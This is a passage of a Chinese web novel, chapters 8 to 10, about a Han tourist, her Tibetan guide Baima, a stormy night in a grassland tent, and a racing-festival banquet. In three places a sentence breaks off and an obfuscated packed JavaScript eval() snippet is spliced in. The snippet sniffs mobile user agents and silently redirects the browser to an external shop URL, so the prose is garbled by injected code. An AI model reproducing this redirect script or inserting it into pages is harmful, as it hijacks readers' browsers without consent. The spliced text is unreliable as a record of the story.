“你忙撒子哟,你还不是在陪着那个汉族女人在到处玩嘛。” 白玛一下子就生气了: “什么汉族女人,你讲话难听的很!” 草原上的女子,最看不得他们爱的男人和汉族女人在一起,似乎是抢走了本该属于她们的东西。 德西直勾勾的盯着白玛,嘟起她红红的小嘴,十分委屈的样子: “白玛,你跟我谈朋友嘛,我喜欢你!” “什么谈朋友,我不想谈朋友,我还小呢,你不要胡说。” 我还小,是这个年纪的小伙子小姑娘常用的拒绝话术。 他们想谈的时候,可从来不管什么年龄。 别说谈恋爱了,生娃娃都可以。 德西被白玛气死了,但她还是不死心: “那我等你嘛,你啥时候想谈嘛,我就等你,可以不?” 白玛也急了,好像跟她扯不清楚,直接就说: “你不要这样子,我又不喜欢你,你再这样子,我把你的微信删掉去。” 白玛果真掏出了手机,打开微信,翻着德西的号码。 德西气鼓鼓的,却也无能为力,就那样撅着个嘴,看着白玛。 白玛果然把她的微信删掉了! 扔下一句: “你以后不要再找我了。” 苏曼大概也能猜出来他们两是吵架了,又或者是德西向白玛表白了。 似乎闹的有些不愉快。 草原上的男女,果然像高原上的太阳一样热烈。 - 白玛迈着轻松的步伐,像是解决掉了一个大麻烦。 下午的阳光开始没有那么灼热,白玛想着,今天还能带苏曼去哪里玩呢。 于是给扎西拨通了电话: “哎!扎西,你走了没有?你摩托车还在不在?借我用一下。” 苏曼买了两根老式的大板砖冰棍,拆开外皮,递给了白玛一根。 白玛抬眼看了一眼苏曼,接过冰棍,一边唆着,一边给扎西打电话。 不一会儿,扎西骑着摩托车过来了。 和他一起过来的,还有另外一个小伙子。 看样子他们都把马运了回去,也还在马场闲逛着。 “白玛,你要去哪里?是骑车带姐姐吗?” “啊,对,我想带她去我们草原上逛逛。” “哎哟你可以嘛,要不我们一起去嘛,人多一点好玩嘛。” 扎西自告奋勇,要一起去玩。 那个小伙子把摩托车交给白玛,说马场还有事,他就去不了了。 白玛跨上摩托车,带着苏曼,拧开油门,朝马场的出口奔去。 草地被车轮甩的泥巴和碎草四溅,一路洒在身后。 8. 第8章 三个人,骑着两辆摩托车,准备先回县城采购,买一些饮料和食物,最好再有一块毯子,铺在地上。 当然,如果没有毯子,他们也可以直接坐在草地上。 对他们来说,天是被,地是床,太习惯不过了。 那些在牧场上呆一个月的人,也不过是多了个简陋的帐篷而已。 买完一大堆食物,都绑在了扎西的车后。 天色渐渐暗了下来,街上开始有阵阵凉风。 白玛把羽绒服拿了下来,让苏曼穿上并把拉链拉好。 他自己也把外套穿了起来。 两个大红色站在一起,站在街上还真是有点惹眼。 连扎西都多看了几眼,但是又止住了想说的话。 白玛又从后面的摩托车箱子里拿出了扎西的一顶旧毛线帽子戴上。 完美的颅骨被帽子包裹着,长发别在耳后,整张脸露了出来。 俊俏而又立体。 车子载着满满的食物,向着天边,奔向未知的草原。 苏曼将头缩在了白玛的身后,紧紧的抓着白玛的衣服。 大约开了二十来分钟,大概也就是和赛马场差不多远的距离。 来到了一片山脚下,这里有三三两两的几个帐篷。 原来,这是他们放牧的地方。 远处一片片牛群,正在认真的吃着草。 这个夏天它们会好好的饱吃一顿,到了冬天可就吃不上这么鲜美的嫩草了。 扎西骑到了一顶灰色的小小帐篷面前,从里面走出了一个年轻的姑娘。 看上去也就二十岁左右的样子,穿着普通的宽松牛仔裤和一件薄羽绒服内胆,头发凌乱的盘在脑后。 “扎西,你的朋友来了啊,我把里面收拾好了,今天帐篷就借给你们了,我一会儿就回家去了,阿妈今天从兰城看病回来,我要去接她呢。你不要给我把里面搞太乱了哦!我明天还要过来的!” 说着打量了一眼白玛旁边的苏曼。 眼神也是蛮犀利的。 扎西连忙回答道: “不会的,你放心吧!我们就是吃点东西,聊聊天嘛。” 说完就跟着姑娘走了过去,并把她送到了摩托车处。 姑娘骑着扎西的摩托车轰的一声就走了。 苏曼和白玛走进了帐篷,把带来的食物一点点搬了进来。 帐篷里面非常逼仄,只能容的下两个人站立,也只能容的下一个人在里面睡觉。 这大概就是牧场上的单人帐篷吧。一个人在这里放牧,守着一群牛吃草。 苏曼和白玛两人蹲在地上整理着, 帐篷里只有一个非常小的塑料板凳和一包卷起的铺盖。 不习惯在地上操作的苏曼,一不小心就碰到了白玛的脑袋。 苏曼忙往后挪了半步。 白玛看着她,觉得她有时候很谨慎,很克制,一点也不像汉地来的,甚至比他们草原上的女人还要保守。 扎西突然把脑袋探到了门口: “我们先吃起在嘛,吃点东西嘛。” 白玛抬起头来,扔给扎西一包辣条: “吃嘛,吃你的辣条嘛,吃的你嘴巴肿肿的。” “哎哟哎哟!哪有你的嘴巴肿哦,你不吃辣条嘴巴也肿肿的。你看你的嘴巴,哎哟!肯定好亲的很呢,是不是呢姐姐?” 那个坏坏的扎西又回来了,苏曼无语道: “扎西,你不要整天乱说话哦,你害不害羞的?” 白玛拿起一个火腿肠朝扎西的脑门扔去。 扎西一把抓住: “哎呀,男人嘛,就是要这样子的,不然追不到女孩子的,这就是我们男人的气质!” 扎西又摆出一副牛气哄哄的样子, 好像在他眼里,敢说话,就是一种勇敢的气质! 苏曼好像对他们口中的“气质”又多了一些了解。 但是,白玛又好像不是这样子的。 白玛更稳重,更凌冽,更像一个成熟的老人。 三个人围在地上掏着袋子里的食物,挑来挑去。 苏曼也拿了一根火腿肠,啃了起来。 辣条那东西,她可吃不习惯。 白玛拧开一瓶喜虎,向帐篷外走去。 苏曼也跟了出去。 紧接着,扎西也走了出去。 这三个人摆在一起,看上去有一种说不出来的不协调。 天边开始慢慢的泛出晚霞,从遥远的天际线一点一点的飘过来。 越来越近。越来越美。 “啊!好美啊!”苏曼惊叹道:“太美啦!” 她自顾自的享受着,这一刻的美好。 白玛幽幽的走远了一些,点起了一根烟。 他的话不算多,但是性格又不弱。给人感觉,他身上应该承受了一些东西。 扎西举着辣条,像个猴子一样,在草原上飞奔了起来。 一会儿跑去远处赶赶牛,一会儿跑回来跳几下舞,对着苏曼转转圈踢踢腿。 就像是给苏曼表演节目一样,希望能逗的她的开心。 这就是传说中的,孔雀开屏吧。或者是他的性格如此,容易自嗨。 苏曼看着她笑的合不拢嘴,时不时的还夸他两句,肯定一下小伙子的卖力。 “姐姐,你冷不冷?”白玛回过头来关心道,顺手将烟头弹了出去。 “不冷啊,这个温度比白天要舒服呢。” 苏曼又问白玛:“你里面穿个短袖,你冷不冷?” “不冷,我冬天都是这样穿的,冬天嘛,最多也就是再多穿一件,我们草原上都是这样穿的。” 可能是他们的体质,决定了他们比较扛冻。毕竟祖祖辈辈都是在这寒冷的高原上生活。 白玛背着霞光,朝苏曼这边走了过来, 看着苏曼啃完了一条火腿,又从怀里掏出了一瓶新的喜虎,拧开瓶盖。 “给你。” 晚霞渐渐散去,被黑色的一张大幕笼罩。 三个人回到了小帐篷里,坐在地上,围着一大兜子食物。 是有点挤,白玛在中间,左右挨着苏曼和扎西。 扎西把脚伸了出去,对着苏曼说: “姐姐,晚上要不要看星星,我们草原上的星星很浪漫的。” 果然是情场老手扎西,懂的东西真多。 “好呀!看吧!难得来一趟草原,肯定是要看星星啊。你知不知道,因为你们这里是高海拔嘛,所以你们这里的天比我们那里的天更接近星星,能看见的星星更多更清楚。” “当然啦!我们是草原上的男子汉嘛!” 扎西的“气质”又走起来了。他会把高原上的一切美好,都归到自己的头上。 苏曼笑着瞟了一眼白玛,白玛接过话头打趣道: “对对对,就你是男子汉,你最厉害!” 扎西继续说道: “姐姐,我们加个微信嘛,你就是不加我的微信,我也喜欢你呢。你看白玛,他都有你的微信,我们公平竞争嘛。” 苏曼听完,惊的眼睛都瞪了起来,往后缩了缩,皱起了眉头,这个帐篷本就拥挤,扎西再说些这样浪荡的话,让她感到很是不适。 未等苏曼出声,白玛冲着扎西吼道:“你要做啥子嘛?” “我跟姐姐表白一下嘛,说不定姐姐也喜欢我呢。” 扎西到真是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591135|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蛮自信的,可能他那么多女朋友就是这么追来的。 苏曼摇摇头: “你不是有女朋友嘛,你要那么多女朋友干什么?” “哪有,都是聊聊天嘛,大家都是单身,聊聊天怎么啦。” 扎西的系统里,打情骂俏、暧昧拉扯、聊聊天什么的,都不算是女朋友。 只有正式公开的才算女朋友。 所以,他有很多这样的假“女朋友”。 这个帐篷的主人,那位姑娘,应该也算其中一个吧。 苏曼真是拿扎西没有办法。 向白玛投去了求救的目光。 “加啥子嘛!过几天姐姐就回去了,姐姐不谈男朋友的,我们是工作。” 白玛把“自信”的扎西怼了回去。 扎西还是不死心:“怎么可能不谈朋友嘛,你净瞎扯。” 白玛望望苏曼,见她不做声,他便不再多说。 其实他也很想知道,为什么苏曼会不谈恋爱,不结婚,这样的想法是怎么来的。 因为他们这边,从来没有人会有这样的想法。 他们像草原上的狼一样,一往无前。 只是,狼,一生只有一个伴侣。 - 吃饱喝足的三个人,开始等待夜晚的星空。 夜幕越来越黑,外面的风也越来越大,不知道今晚的天气如何。 在高原,天气风云变幻。 你别看夏天的白天烤的难受,但很有可能下一秒就会狂风暴雨,或是下起大雪,甚至冰雹肆虐。 天空无云,看样子是有希望的。 扎西又一次没有加上姐姐的微信,到也没有感到失望,在他的世界里,这个不行再那个嘛!绝对不会在一棵树上吊死。 待星星挂满天空,他们都跑了出来。苏曼在惊呼,白玛安静的笑着。 扎西的愿望达成了,姐姐看到了浪漫的星星。 虽然这样的星空对他们来说司空见惯。 但能让苏曼这么兴奋,让一个从来没有见过漫天星河的人赞叹,他们内心无比的骄傲。 高原上的每一个人,都深切的热爱着自己的家乡。 看过了漫天星河,白玛把苏曼拉到了一边,像是有话要说。 “姐姐,你不是说想买个戴在脖子上的嘛,我把我这个送给你嘛。我戴了很久了,是个老东西,它会保佑你的。” 白玛总觉得苏曼身上有一股忧郁,包裹在她强大的外表下。 说着白玛就把自己脖子上的绿松石坠子摘了下来,绿松石由一根牛皮绳穿着,牛皮绳已经被包浆的很古老的样子了。 苏曼受宠若惊,万万不敢接受: “那不行,这是你自己的东西,这太贵重了!......不行不行!” “你拿着嘛!” 这是可以拿的吗?虽然早就听说过高原上的人淳朴,他们不在乎物质,更在乎精神。 但是当苏曼遇到的时候,还是有些惊讶和被震撼到。 毕竟,老物件,要在永京的番家园买的话,该是很贵的吧,甚至都未必能买到真的。 可是不拿,会不会驳了人家的心意? 苏曼不太懂这边的规矩,又不知如何是好。 “这么贵重,要不我给你钱吧?我买你的,这么好的老东西在外面想买还买不到呢。” 苏曼小心翼翼的和白玛商量着, “不行!就是送你的,给什么钱嘛,我们这里没有给钱的!” 白玛又急又气,非常坚持。 苏曼不好意思的接过,在想要不要戴上它。 还是戴上吧。 珍视他的礼物,如,珍视他们淳朴的心意。 9. 第9章 远处的扎西望着这边,喊了一嗓子: “白玛,我骑你这个摩托车去买包烟哈。” 白玛招着手:“去吧,帮我也带一包。” 说完扎西就飞驰在了黑色的夜幕中。 寒气压顶,风越来越大,开始狂肆。 苏曼的头发四乱飞扬,高大的白玛双手插着裤子口袋,倒着走在为她挡风,一边哈哈笑着。 “要不我们进去吧,这风太大了,姐姐你都快被吹没了。” 白玛看着瘦小的苏曼,似要被风刮走。 “好好。” 两人顶着风,朝帐篷走去。 冲进帐篷,白玛把门口夹起的帘子放了下来,风吹的油布噗噗作响。 帘子放下,帐篷内又太狭小,白玛也觉得有些不好意思。 “扎西咋还没回来呢?买个烟买这么久。” 白玛掏出手机给他发了一条微信,又开始翻起了袋子里的食物。 外面这么大的风,很有可能晚上会下雨,万一走不了就麻烦了,而扎西又把摩托车骑走了。 他又给扎西追了一条微信。 二十多分钟过去了,扎西还是毫无回复。 风吹的像哨子一样,帐篷抖个不停,外面还开始飘起了小雨,打在帐篷顶上滴答作响。 “这个死扎西!做啥子哦!买个烟买这么久!” 白玛生气的站了起来,扒在帐篷门口,向外张望,盼着扎西早些回来,他们好赶紧赶回县城,躲过这场大雨。 苏曼坐在旁边的小塑料凳子上,整理着头发,又撕开了一根火腿肠啃了起来,看着焦急的白玛,她也没有办法,在这里只能听向导白玛的安排。 白玛给扎西电话打了过去: “喂!你搞啥子哦!不回微信!烟买完了没有?好久回来?” “哎哟!不要意思哎兄弟,我在县上打台球呢!刚才没有看到手机响。哎哟,没的办法,遇到一个老朋友嘛,非要拉我去打台球,打两把起嘛。” 白玛命令他赶紧回来,因为天已经在飘小雨了。先赶紧把苏曼送回酒店去,再回到牧场来接他回家。 “要得要得!打完这把嘛。”扎西说道, 挂下电话,白玛摇摇头,这个扎西真不靠谱。 - 草原上的天说变就变,就像男女的心一样。 没一会儿就电闪雷鸣,骤雨倾斜,打的弱小的帐篷瑟瑟发抖。 白玛赶紧把外层的帘子放了下来,再把帐篷内层严密的绑好。 他们就这样在草原上生活啊?苏曼真的想象不到,在牧场上待一个月是怎么过来的。 这日子真苦。 当然,作为来旅游的她,体验一下还是感到新奇和刺激的,如果让她长期在这里生活,那是万万不可的。 这样的天气,扎西是回不来了。 白玛和苏曼,也走不了了。 白玛挠着头,在努力的想着办法,又感到十分的抱歉。 似乎他这个导游当的失责了。 虽然,他真的是第一次当导游。 苏曼看出来了他的懊恼,安慰他道: “没事嘛,这多有意思啊。这也是一种很特别的经历啊,要不是你,我还没有机会经历这些呢。来旅游嘛,就是要体验多样的事情啊,难道像其他人那样,上车睡觉下车尿尿,到地儿拍照啊?要是那种,我也不会来找你给我当向导啦。我直接报个团就好啦。” 听完苏曼的话,白玛感觉没那么内疚了,那张刚毅的脸也放松了下来。 “好的,那我们就等雨停吧,雨停了再说。” 但这雨,看样子是停不了了。 白玛瞟了一眼角落里卷成一坨的被子,那是一个人的被子。 白玛舔了舔嘴唇,又蹙紧眉头咬着下唇,在想今晚该如何处理。 白玛坐在地上,两个人各自玩着手机,陷入了等待。 苏曼开始思考:若是真的走不了,是不是两人要在这个小帐篷里过夜? 时间一点一点流走,雨一直在下,没有要停的意思。 按他们的说法,即便是下雪下冰雹都不算什么,何况只是夏天的暴雨。 苏曼耷拉着脑袋,听着雨声,闭目养神。 “姐姐,要不你盖着这个被子吧,别着凉感冒了。感冒了就麻烦了,我怕你会高反呢。” 白玛提议,让苏曼盖着旁边卷着的那坨被子。 苏曼望了望那团皱巴巴的被褥,有些为难。 “不好吧?那是别人的被子呢。” “没事的,我们这边不讲究这些的,都可以用。” 白玛可能理会错了苏曼的意思,他以为苏曼不好意思盖别人的被子。 他自告奋勇的起身,先将地垫铺上,再又打开那团被子,层层铺好。 “姐姐,你过来吧,没事的。” 苏曼觉得也只能先这样了,穿着衣服到也还好。 铺盖边留出了一块空隙,白玛正好坐在那个塑料小凳子上。 为了能省一点电,白玛建议把充电灯关掉,以防半夜没电了无法应对突发情况。 就这样,空间里一片黑暗。 “白玛,你那样坐着一晚上也不行吧?会感冒吧。” 苏曼好像觉得这样也不行,虽然她是客户,他是向导,但是,有难也要同当啊。 “没事没事,我可以的。”白玛吸了吸鼻子,感觉还好。 苏曼钻进皱巴巴的被子里,在黑暗中听着外面的狂风骤雨。 这是大自然的洗礼声。 渐入梦乡的苏曼突然被什么东西撞了一下,猛的醒了,这已是半夜时分,外面的雨也停了。 扎西一直没来,估计早已进入梦乡了吧。 是白玛,一下子瞌睡倒地,大长腿杵到了苏曼。 苏曼做了会思想斗争,拽了拽白玛的衣角: “你也盖上一点吧。” 迷迷糊糊的白玛,也没有拒绝,许是困的失了脑子,缩着朝这边倒了下来。 苏曼把被子挪了挪,给白玛也盖上了半个身子。 外面无比的安静,安静的能听见心脏颤动的声音。 白玛紧了紧被子,又朝苏曼这边贴了贴...... - 一大早,扎西就提着两份早餐,呼啸着赶来,连忙说着抱歉:“没得办法嘛,天气不好嘛!” 白玛一脚踢在了扎西的屁股上:“你个龟娃子,害老子昨晚差点冻死了。” 苏曼碍于身份,没好意思说他,扎西确实不靠谱。 白玛干手搓了搓脸,又从扎西口袋里摸出了一包烟,抽出一根,叼在嘴上。 “我跟你说,姐姐不说你,我是要说你!” 白玛娴熟的把烟点上,朝着天空吐了出去,似是终于缓过来了。 “哎呀!我错了,我错了。实在是天气不好嘛。赶上了。” 苏曼吃着扎西带来的锅盔(一种面食做成的大饼)和奶茶,不一会儿的功夫,姑娘也骑着扎西的摩托车回来了。 她换了身干净衣裳,带来了充满电的灯,和两个充满电的六万毫安的充电宝。还有一大袋子桶装方便面。 在牧场上,靠的就是充电灯和充电宝,但是需要定期回家充电。 扎西连忙迎了上去: “次旦!我也刚回来的呢!昨晚大雨哦,他们俩个被困在了这里。好在有你的被子在这里呢,不然要冻死起在。” 原来这姑娘的名字叫次旦。 “你咋没跟到一起嘛?”次旦白了扎西一眼, “我在一起做啥子嘛,我去县上了嘛!” 扎西像是故意在向次旦表衷心一样,赶紧说明情况,表示此事与我无关。 苏曼好像看懂了一点。 苏曼故意向次旦告状: “次旦你听我说,昨晚扎西哦,在县上打台球呢。把我们撇在这里,然后也不回来。还说是去买烟,害得我跟白玛在这里左等右等。” 次旦斜着眼瞪着扎西: “你个鬼,打台球打台球,就知道打台球,你赚那一点点工资哦,都拿去抽烟打台球去了,看你爸爸知道了不要骂你!” 白玛歪着头啃着锅盔,一边看着他俩拌嘴。 苏曼吸着奶茶,走在下过大雨的草地上,鞋子一点一点的又被泥水包裹了起来。 怪不得他们都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591136|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜欢穿靴子呢,在这种地方,靴子真是万能鞋子。 吃过早餐,白玛要送苏曼回县城了。 扎西说要留下来陪次旦呆一会儿,好好的感谢一下她把帐篷让出来。 至于怎么感谢,大概也就是小情侣间的打情骂俏吧。 这宽阔无垠的草原,一定知道每个男女之间的故事。 - 白玛跨上摩托车,苏曼抓紧他的衣服。 “姐姐你楼好嘛!抓紧一点,下了雨,这个路很难骑的,小心把你摔下来。” 苏曼有些不好意思,在身体接触这一块,她已经是尽最大的努力在改善了。 “没事,你先开你的嘛。” 扎西朝次旦挤了挤眼,次旦似乎也不生气了。 苏曼紧紧拽着白玛的衣服,奋力抵抗着泥泞又狡猾的草原。 摩托车在泥水和一个个小草包上,一扭一扭的,颠的苏曼呲哇乱叫。 白玛心情不错,放开嗓子,唱起了当地的民歌。 年轻人最爱唱的高原情歌。 歌声高亢悠扬,那特殊的唱腔,在这片广阔的草原上振动,苏曼听的入了迷。 车子拐上了水泥地,驶入了318国道。路上的人也渐渐的多了起来。 把苏曼送到酒店门口,白玛让苏曼今天好好休息一下,昨晚肯定没有睡好。 而白玛晚上还要参加县里举办的夏季赛马节庆功宴会。 庆功宴会在县上最好的民俗酒店里举办,县领导会亲自祝贺他们。 当地的小伙子们,以能去那里参加县上的会议,感到荣耀。 他们都会穿上自己最好看的衣服,打扮的精精神神的出现。 “姐姐,你今天先回酒店补补觉!晚上我再来接你,我带你去参加赛马节的聚会,晚上县上的领导可能还要给我们发奖金的呢!” 苏曼拍着手:“哇!你太厉害了,牛的牛的!” 她想到了昨天白玛精彩绝伦的马背表演,那绝对是实至名归的。 睡到下午五点,苏曼赶紧起来洗漱化妆,上了一点淡淡的口红。再把长发吹的根根分明,依然是那件驼色羊绒大衣,紧身牛仔裤,黑色高龄毛衣。 然后又喷了点香水。 今晚应该算是个比较正规的场合吧。 - “姐姐,我快到了,你准备准备下来哈。”白玛的微信发来。 又七搞八搞拖延了十分钟,苏曼才急匆匆冲了下楼。 白玛的摩托车就停在门口,白玛站在车旁,扔下了手里的烟,用脚踩了踩。 “走吧!” 今天白玛穿了一件新的灰色飞行夹克,里面一件大红色的带帽卫衣,这让他看上去终于有点年轻人的模样了。 黑黢黢的皮肤紧致发亮,满满的胶原蛋白包裹着他那张棱角分明的脸。 看样子还专门去县上的发廊洗了个头,长发吹的清清爽爽的,显的更加干净帅气。 苏曼打量了一下白玛:“白玛,你今天很帅哟。” 白玛露着白牙笑着臭屁了起来:“我哪天不帅!” 白玛跨上车,待苏曼上来,一股香气袭来,他微微转过头。 “姐姐你今天好香啊,是喷香水了吗?好好闻。” 苏曼瞬间收起了笑容,抿起嘴有些尴尬。 “走喽!”白玛今天心情很好。 也没几分钟路程就到了,这是在318国道上最头里的一家金碧辉煌的民俗酒店,把着两个主干道路口,基本上一进入县城第一个看到的就是它。 门口有几个小伙子已经精神抖擞的往里进了,当然也有带着女朋友来的。 白玛停好车,拔了钥匙揣进裤兜,也领着苏曼往里进。 娇小的苏曼跟在高大的白玛身边,又惹的一些人回头驻目。 这时从门口走进来一位二十出头的男子,也是一头长发。 高高的个子,穿着一身皮衣,纤瘦笔直,背着大门的光都能看见他有一双大大的眼睛,脸型顺滑柔和,长的像个姑娘,脸上没有什么表情。 那张脸,依然是高原异域,标配的浓眉、浓睫、高鼻梁。 又是一个帅哥! 10. 第10章 说实话,直到现在苏曼都没见到一个像样的帅哥,除了白玛。 现在又多了一个。 “嗨!白玛,这是你女朋友啊?” 他叫次仁,是另一个乡的表演赛第一名,长相虽然属于美丽型,但却是个出了名的硬汉,属于人狠话不多的角色,听说还经常打架。 可别被他的长相给骗了,以为他是个柔弱的人。 苏曼盯着次仁看了几眼,次仁也在打量着苏曼。 白玛没有回答他,要说不是,好像有些没面子,于是转移话题: “你女朋友咧?咋不带过来?” “哪有,烦的很!” 次仁一副酷酷的样子,甩了甩头发,难以掩饰的傲气。 确实,有很多姑娘喜欢次仁,疯狂的追他。 女人们对他爱的死去活来,而他总是一句“烦死了”。 他大部分的心思都在赛马上,女人,他好像从来都不在乎。 但不得不说,这样的男人确实是吸引女人。 又帅又野,难以驾驭,这更加激发了女人们的征服欲。 爱他也爱的极其浓烈。 三个人一起走进了宴会厅,次仁直接坐在了苏曼的旁边。 他也闻到了苏曼身上的香气。 还时不时的看着苏曼。 但他也没有说话,似乎在观察着什么。 这让白玛有了一些危机感,他像个公狗一样,开始来回溜达在自己的地盘。 进来的人越来越多,不一会儿就坐满了桌。 另一个帅气小伙也带了女朋友来,一看就是个汉族姐姐。 这位姐姐化着精致的妆,一头大卷发,非常的御姐范,看样子也是经济条件很不错的样子。 她主动和苏曼聊了起来,可能她以为苏曼是白玛的女朋友: “亲,你也是汉族的啊?你哪里的?” “啊,对,我永京的。过来旅游。”苏曼回答道, 白玛扭过头来,用余光关注着这边。 次仁也在认真的听着。 “我兰城的,他是我男朋友。”说着就指了指她旁边的那个小伙。 “啊,真好。你们在一起多久啦?”苏曼一下子就来了神,八卦道, “差不多两个多月吧,这次专门请假过来看他赛马。” 苏曼还想继续问,他两是怎么认识的?年龄相差多少?但是又觉得似乎有点太隐私了不好。 算了,反正每个人有每个人的缘分。 只是,挺佩服这位姐姐的勇敢。 在这些草原上的年轻人眼里,找一个汉族女朋友似乎也成为了一种潮流。甚至带出去都会觉得有些骄傲。 只是两地的审美,真的有天壤之别,苏曼到现在都觉得非常的迷。 他们眼里的帅哥大美女,在苏曼眼里普普。 苏曼眼里的帅哥美女,在他们眼里普普。 这样到也好,正好可以错开竞争了。 苏曼举起茶杯跟这位卷发姐姐碰了一个: “来,咱俩喝一个。” “亲爱的,你住哪儿啊?”卷发姐姐问道, “我住假日,也在这条道上。你呢?” “我就住这,他说这里是最好的酒店,我就住这了。不过假日也挺好,晚上还有供氧,这里好像就没有。” 聊到愉快处,卷发姐姐提议加个微信,下次苏曼来兰城出差可以约着一起玩。 于是苏曼拿出手机亮出了她的微信二维码。 还未等姐姐调出微信扫上苏曼,坐在旁边的次仁已经掏出手机扫完了: “我们也加一个吧。” 苏曼也不好拒绝,出于礼貌就通过了。 白玛来不及阻止,而且,他也没有阻止的理由。 次仁看到通过后,便放下了手机,拿起酒杯喝了一口,若无其事的样子。 白玛扶着额头,长发自然垂下,直直的盯着次仁,他不知道他想干嘛。 不过,若是次仁看上了姐姐,那可就难搞了。 他会叼着猎物就跑,豪不给你喘息的机会。 - 人都到齐了,大家都在耐心的等着县领导过来,给他们颁发荣誉证书,当然,最重要的是奖金。 有一个染了黄毛的小伙,在桌上特别兴奋,一直大声喧哗着。 一会儿从这里拿根烟,一会儿又从那里开瓶酒。 存在感极强。 白玛也在细心的照顾着苏曼,一会儿帮她倒茶,一会儿又帮她摆筷子,生怕她受到冷落。 草原上的男人,能这样做的不多,多数时候都是女人伺候男人。 但是白玛不在意,姐姐毕竟是姐姐。何况还是他带来的客人。 次仁一副不羁的样子,自顾自的坐着。 他倒是不抽烟,皮肤比白玛要白嫩,手指修长美丽,看上去比其他的小伙子们要精致许多。 他是家里最小的孩子,不用坐家,所以并没有什么家族里的压力。 自己就是骑骑马,想干什么就干什么。 他还弹的一手好琴,闲暇时间在县上教小朋友们弹曼陀铃。 唱歌也很好听。可能这就是为什么他的气质,和大家有些不同的原因。 就是有一种忧郁的艺术家气质。 但谁又能想到他爱打架呢。 此时县上的领导走了进来,还有赛马节的主办方,也就是这个酒店的老板,一个四十多岁的中年男人。 中年的高原男人,大多已经开始大腹便便了,并且四十多岁的模样也看着像五十多岁了。 苏曼感慨,他们老的可真是快啊。 这高原的阳光,杀颜。 这些小伙子们的美貌期,一定特别短。三十岁之前应该就算是他们的颜值黄金期了。 而现在二十岁左右的他们,正是颜值的巅峰期。 县领导和酒店老板一起敬了所有选手一杯酒,再给他们每个人都献上了哈达。 领导讲了讲目前县里的养马现状。最希望可以改进的,就是增加养马的数量和质量。 众所周知,本地马只在本地有销量,而外地马素质更好,身材更高大漂亮,腿长,速度又快,在马市更加具有市场和竞争力。 另外,就是希望选手们提高马技,把夏季赛马节办的更好,吸引更多的游客来这里旅游,带动经济。打造一张属于自己巴龙县的赛马文化IP。 小伙子们一脸崇拜的看着他们俩。 夸张一点,就是带着谄媚的表情,有点像是看着甲方爸爸一样。 这可是这个县城里的大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591137|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人物啊,成功人士啊。 每个人手里都拿着一个信封,里面就是他们的奖金。 这次赛马节的几个项目都设有前三名。 白玛拿的正好是马术表演的第一名,奖金七万元。 而次仁拿的是马上射箭的第一名,同样也是奖金七万元。 酒敬了两轮,领导们就撤了,剩下这帮小伙子们在这里吃吃喝喝。 所有消费,酒店老板买单。 小伙子们异常的兴奋,这可是他们自己的庆功宴啊,而且是大老板请的呢! 大家喝酒的喝酒,拍照的拍照,拍视频的拍视频,也有忙着发到社交网上的。 总之,气氛非常的欢快,在酒精的作用下,大家情绪也越来越高涨。 苏曼也替白玛感到高兴,不停的看着他,露出赞赏的表情。 而白玛就忙着一边喝酒,一边给苏曼碗里夹菜,让她多吃一点。 这时, 那个黄毛小伙看样子是喝多了,终于把存在感刷到了这边来: “哎哟!白玛!女朋友撒?” 两个人都不想搭理他,没有出声。 不想沾惹这个明显的醉鬼。 黄毛小伙继续说道: “哎哟!姐姐好的很呢!懂的很多咧,白玛你可要多多的学习,把技术学起在。” 没等他说完,白玛一个杯子就扔了过去,砸在了黄毛小伙的脑门上,黄毛小伙“啊”的一声捂住额头,白玛冲了上去,拎起他的衣领,高大的身子压着他,狠狠的抡着拳头揍了起来。 两个人扭打在一起,黄毛小伙醉起酒来力气大的很,开始发疯一样的乱捶。 酒桌上乱成了一团,大家四处散开,让出位置。 苏曼吓的直接懵在了那里,也没反应过来他说的是啥意思,让白玛如此生气。 只见次仁也走了上去,拉过黄毛小伙,狠狠的朝着他的腿上踢了好几脚。 这阵仗,着实有些吓人。 但是他,活该! 原来,这个黄毛小伙说的是猥琐的男女之事....... - 次仁的初恋,就是一位汉族姐姐。 在他十八岁的时候,他爱上了他的音乐老师。一个刚大学毕业从南方分配过来县城工作的汉族女孩。 一个甜美的、学古典音乐的姑娘。那年她二十三岁。 那时候和汉族女孩谈恋爱的还很少,也没有现在的这种风气和潮流。 当时整个县上的人都知道了,还有乡里,以及家里。 理所当然的,遭到了父母的反对。 次仁的父母,虽然不指望他承担什么,因为家里有好几位哥哥。 但是也不同意他娶一个汉族姑娘。 他想着私奔,但是姑娘不同意。 草原上的男女经常用私奔来对抗父母的反对。往往私奔几个月回来过后,这门亲事也就被默认了。 唯一只是祝福的程度不一样。 但是,次仁的汉族姑娘不够勇敢,她只是一个小地方来的音乐老师,她承担不起。 